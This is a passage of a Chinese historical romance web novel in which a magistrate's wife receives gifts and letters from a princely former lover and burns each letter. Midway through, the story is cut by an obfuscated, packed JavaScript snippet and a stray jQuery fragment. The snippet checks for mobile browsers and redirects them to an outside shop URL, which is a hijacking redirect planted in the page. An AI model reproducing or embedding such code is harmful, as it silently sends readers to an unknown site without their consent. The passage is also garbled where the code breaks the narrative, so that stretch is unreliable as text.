“夫人？”
陈时瑾久不见她有应，轻声唤。
岑再华回神，伸手捋他的鬓发：“我自然知道你的为人。安西府城好玩吗？有没有给我带回来什么吃食？”
陈时瑾松了口气，同她讲这一趟的见闻。
不知是为了安抚她，还是真不愿浪费这时节的好光景，又说趁着刚述职回来这几天的空闲，要陪她去城郊散心。
岑再华喜欢这个时候的景色，虽没有夏天极尽绮丽的花或是秋天色彩斑斓的叶子，只有田地里、枝头上一丁点刚冒出来的绿意，却因其微小、稚嫩而格外动人。
看着这样小的绿色，她会觉得人生如初春一般满是希望。
她欢喜地应下。
第二天一早，陈时瑾去了县衙，岑再华睡到日上三竿才起。早膳过后，终于来得及看看白秋昨日给她带回了什么好东西。
白秋觉出夫人和老爷没受影响，心下已放宽许多，又自认买到的东西夫人一定喜欢，很是兴高采烈：“昨天运气好得很呢，看我买到什么了！”
摆在岑再华面前的是几罐长得一模一样的香膏，上头印着“暗香阁”的字样。
“还是往常那条大街上，却遇到个京城来的货郎，他说进了些京城的香膏，想看看这边有没有夫人小姐愿意买。我打眼一瞧，竟是夫人出嫁前常买的那家呢！”
暗香坊是专做香料香膏的店，东西卖得贵，却紧俏得很。
每个时节有每个时节的香膏，拿这腊梅味的来说，这个时候才拿出来卖，是因要取冬日里才开的磬口蜡梅，仅采大寒前后的，经过许多道工序和层层熏窨，差不多就是前不久才能上市。
产量有限，一年里又只这一个时候有，从来不愁市、只恨抢。暗香坊供给官家夫人小姐后剩下的那一批才会放出来卖，岑再华虽不缺钱，却不及权贵几句话就能留下好些，便是出了高价，每年也只能收到两三罐。
一个货郎上哪找的门路，一进就是好几罐，还千里迢迢运到西北来卖？
莫不是假货吧？
岑再华拿起一罐，凑近了看外头的包装，又拆开来细细嗅闻——与她此前买到的绝无二致，不是仿冒能仿得出来的品相。
她转头问白秋：“那货郎有留个名字和住处吗？以后还能找他买到吗？”
白秋摇摇头：“他说他下一站还要往别处走，不在渊泉县停留。”
“他还卖别的东西吗？有卖给别人吗？”
“别的东西也卖，但都没什么稀奇的，跟其他货郎一样，卖点粗糙的小玩意儿。”
“我见这香膏是暗香坊的，当即就全买了下来，付钱时便有别的人围上来问，也想买这香膏。他却说先来后到，既然我先开口，就全是我的。”
“不会是有什么问题吧？”白秋也越说越觉得古怪，惴惴不安道，“他当时说只是凑巧得了几罐，就想着到远处试试拿出来卖，我还当我是运气好……”
话已至此，岑再华心下了然。
她叹一口气，安慰白秋：“不妨事，香膏没问题。你做得很好，拿去一罐和朱夏一起分着用罢。”
香膏确实没有问题，是暗香坊的真香膏，没人卖她假货，也没人要害她。
有问题的是那货郎的来历。
这样的巧合发生在她身边许多次了：想扩建个小厨房，正巧就遇上了京城来的厨娘，能做出不逊色许多酒楼的点心；西北苦寒，炭劣且贵，这几年朝廷却发下来无烟又耐烧的银丝炭，说是抚慰偏僻地方的官员……
岑再华起先还心惊胆战地防备着，后来收了几封信，才知道了是谁的手笔。
信是从角门递进来的，直接给了朱夏。
朱夏闲时常去那处和婆子们唠嗑，得了新鲜有趣的坊间消息，便回来讲给岑再华解闷。那天她和往常一般在角门处晃荡，门口来了人，说有给朱夏的信件。
寻常府里的信件是有专人收送的，这种来路不明的信，理应放不进来。可那人指名道姓说是给朱夏的，偏巧当时她就在一旁，门人便叫她过去收了信。
朱夏也丈二和尚摸不着头脑，回去拆开一看，却见“朱夏亲启”的信封里头还塞着一个信封，上面画着一只小小的王八。
她被吓了一跳——这王八她曾见过不少次，夫人出嫁前和那人书信来往时，便常画个小王八做标记。
只是那时画王八的多是夫人，对方送来的信封上干干净净。如今怎么是送来的信上画了王八？
真是那人寄来的吗？
朱夏不敢隐瞒也不敢声张，专挑了个只有她与岑再华在房里的时候，连白秋都避着，把信交给了夫人。
岑再华瞪大了眼看那只王八，眼里有惊愕，有困惑，有一点微不可察的寂寥，唯独没有往常每次收信时的期待和欢喜。
她拆开信封，里面是再熟悉不过的字迹。
“岑再华，你好狠的心。”
她狠心？
狠心的究竟是谁？
岑再华冷笑一声，方才心里起来的那点涟漪顷刻散去。
“我一桩事办完回京，你怎么就已成了亲？陈时瑾清贫，他能给你什么？”
能给她正室的位置和不与人分享的丈夫。
“西北苦寒，你怎么能受得了？”
西北的苦寒也比京城的势利好忍受许多。
岑再华在心里一条一条答，却没有回信的打算。
“你既然嫁了人，以后就再无可能入我府门。我不会对你的事坐视不管，却也不会原谅你。”
“拿去烧了，”岑再华吩咐朱夏，“烧干净些，别让人看见了。以后再有这样的信，不必再接。”
她是有夫之妇，丈夫待她很好。她无意同以往的情郎上演剪不断理还乱的苦情戏码，顾清湛在她心里理应与死了无异。
朱夏像是松了口气，接过信收好，又站在岑再华身后，一下一下揉着她的肩。
岑再华顺势靠在朱夏怀里，知道这是她隐晦地想安抚自己。朱夏的衣裳干干净净，怀抱柔软又暖和，她靠着靠着，便赶走了心里最后那点不痛快。
不曾想朱夏不接信了，信就又到了白秋手里。是她跟采买一同出门时，被人突然塞在怀中的。
白秋就要惊呼，低头却见信上写了自己亲启，拆开一看，一只熟悉的小王八。
她与朱夏做了一样的决定，私下里交给了岑再华。
“为什么不回我的信？为什么不让朱夏收信？你就非要做得如此恩断义绝？”
信的末尾，他的语气终于软了几分：“厨娘到你那边了吧？用着还习惯吗？银丝炭发下去了吗？被沿途克扣了就告诉我，还缺什么也告诉我。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17743590|209164||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
岑再华又叫白秋去拿铜盆，当着她的面亲手把信烧了。她总算知道了这些巧合都是哪里来的，便打算把与他有关的通通清掉。
然而要丢那银丝炭时，岑再华可耻地犹豫了。西北的天气太冷，当地的炭也确实不好用。
东西是无辜的，她也是无辜的——若不是为避顾清湛而嫁了陈时瑾，她至于吃这份苦吗？
她不能无辜地受冻。
既是朝廷给官员拨的东西，那就是朝廷的、是天恩，她不扔是敬畏朝廷、敬畏天子。
岑再华说服了自己，留下了这一样。
又想着把厨娘赶走，结果一提这话茬，厨娘便一五一十全招了。
“的确是有贵人叫我来，我却不知道是谁。他们把我从丈夫那里赎出来，只说让我进您的府邸伺候，往后只要安安心心做点心，就不会再挨打。”
岑再华这才知道她原是奴籍，是人家买来的媳妇。丈夫赌博酗酒全沾了，她做得一手好点心才堪堪能替他还债，夜里却还要挨丈夫的打。
在岑再华这里，不仅远离了那个丈夫，还能吃饱穿暖、有工钱拿，活又轻省，她打心眼儿里庆幸。
看着她婆娑的泪眼，岑再华终究没能狠下心赶她回去。
留了银丝炭又留了厨娘，她逐渐觉得这些东西也都没必要丢。顾清湛是求和也好、关心也罢，于她而言都没有分别，左右她不会有任何回应。
自己的日子过得舒服，比一切都重要。
时日久了，岑再华越想越明白，也就更心安理得——是他欠她，又不是她欠他。
顾清湛送多少东西过来她都收得起，这是她应得的赎罪。
然而连着两封信没有回应，顾清湛也恼了。
“你当我是什么好脾气的人吗？竟轻贱我至此？”
他在第三封信里质问。
他当然不是好脾气的人，也从来不会容许旁人轻贱。
一人之下万人之上的出身，与他们这些平头百姓相比已是金尊玉贵、遥不可及，何况他还有举世难寻的好相貌，有算无遗策的玲珑心。旁人穷尽一生求而不得的东西，于他不过是与生俱来的点缀。
即便对着龙椅上那位父亲伏低做小，对着明争暗斗的兄弟们故作情深，岑再华也能从他不经意的三言两语里品出来，他看不起所有人。
他惯于俯视，惯于掌控，脖颈和手腕永远是硬的。
“岑再华，我绝不会再给你写一封信。”
岑再华又浪费了些烛火烧信。心头有些胀胀的酸意，却又庆幸他终于不再纠缠。
平静了几个月，到了农收时节，陈时瑾下乡验查，不在府中。
岑再华照例去院子里晒太阳，一眼瞧见了石桌上摆着的第四封信。
写信的人闭口不提此前的“绝不”，却也没写别的更多东西。
偌大一张信纸，下头全是空荡荡的，只行首写着寥寥数字。
“岑再华，京郊的桂花开了。”
岑再华闭上眼，试图回忆她最爱闻的桂花香。桂花的香气是难以模仿也难以回想的，只有在适宜的季节站在树底下，才能感受到它的味道。
她又点起蜡烛，亲眼看着纸张落在火里，转瞬便被吞没。
桂花香难再现，燃烧的灰烬味却很容易。
她此后闻了一遍又一遍。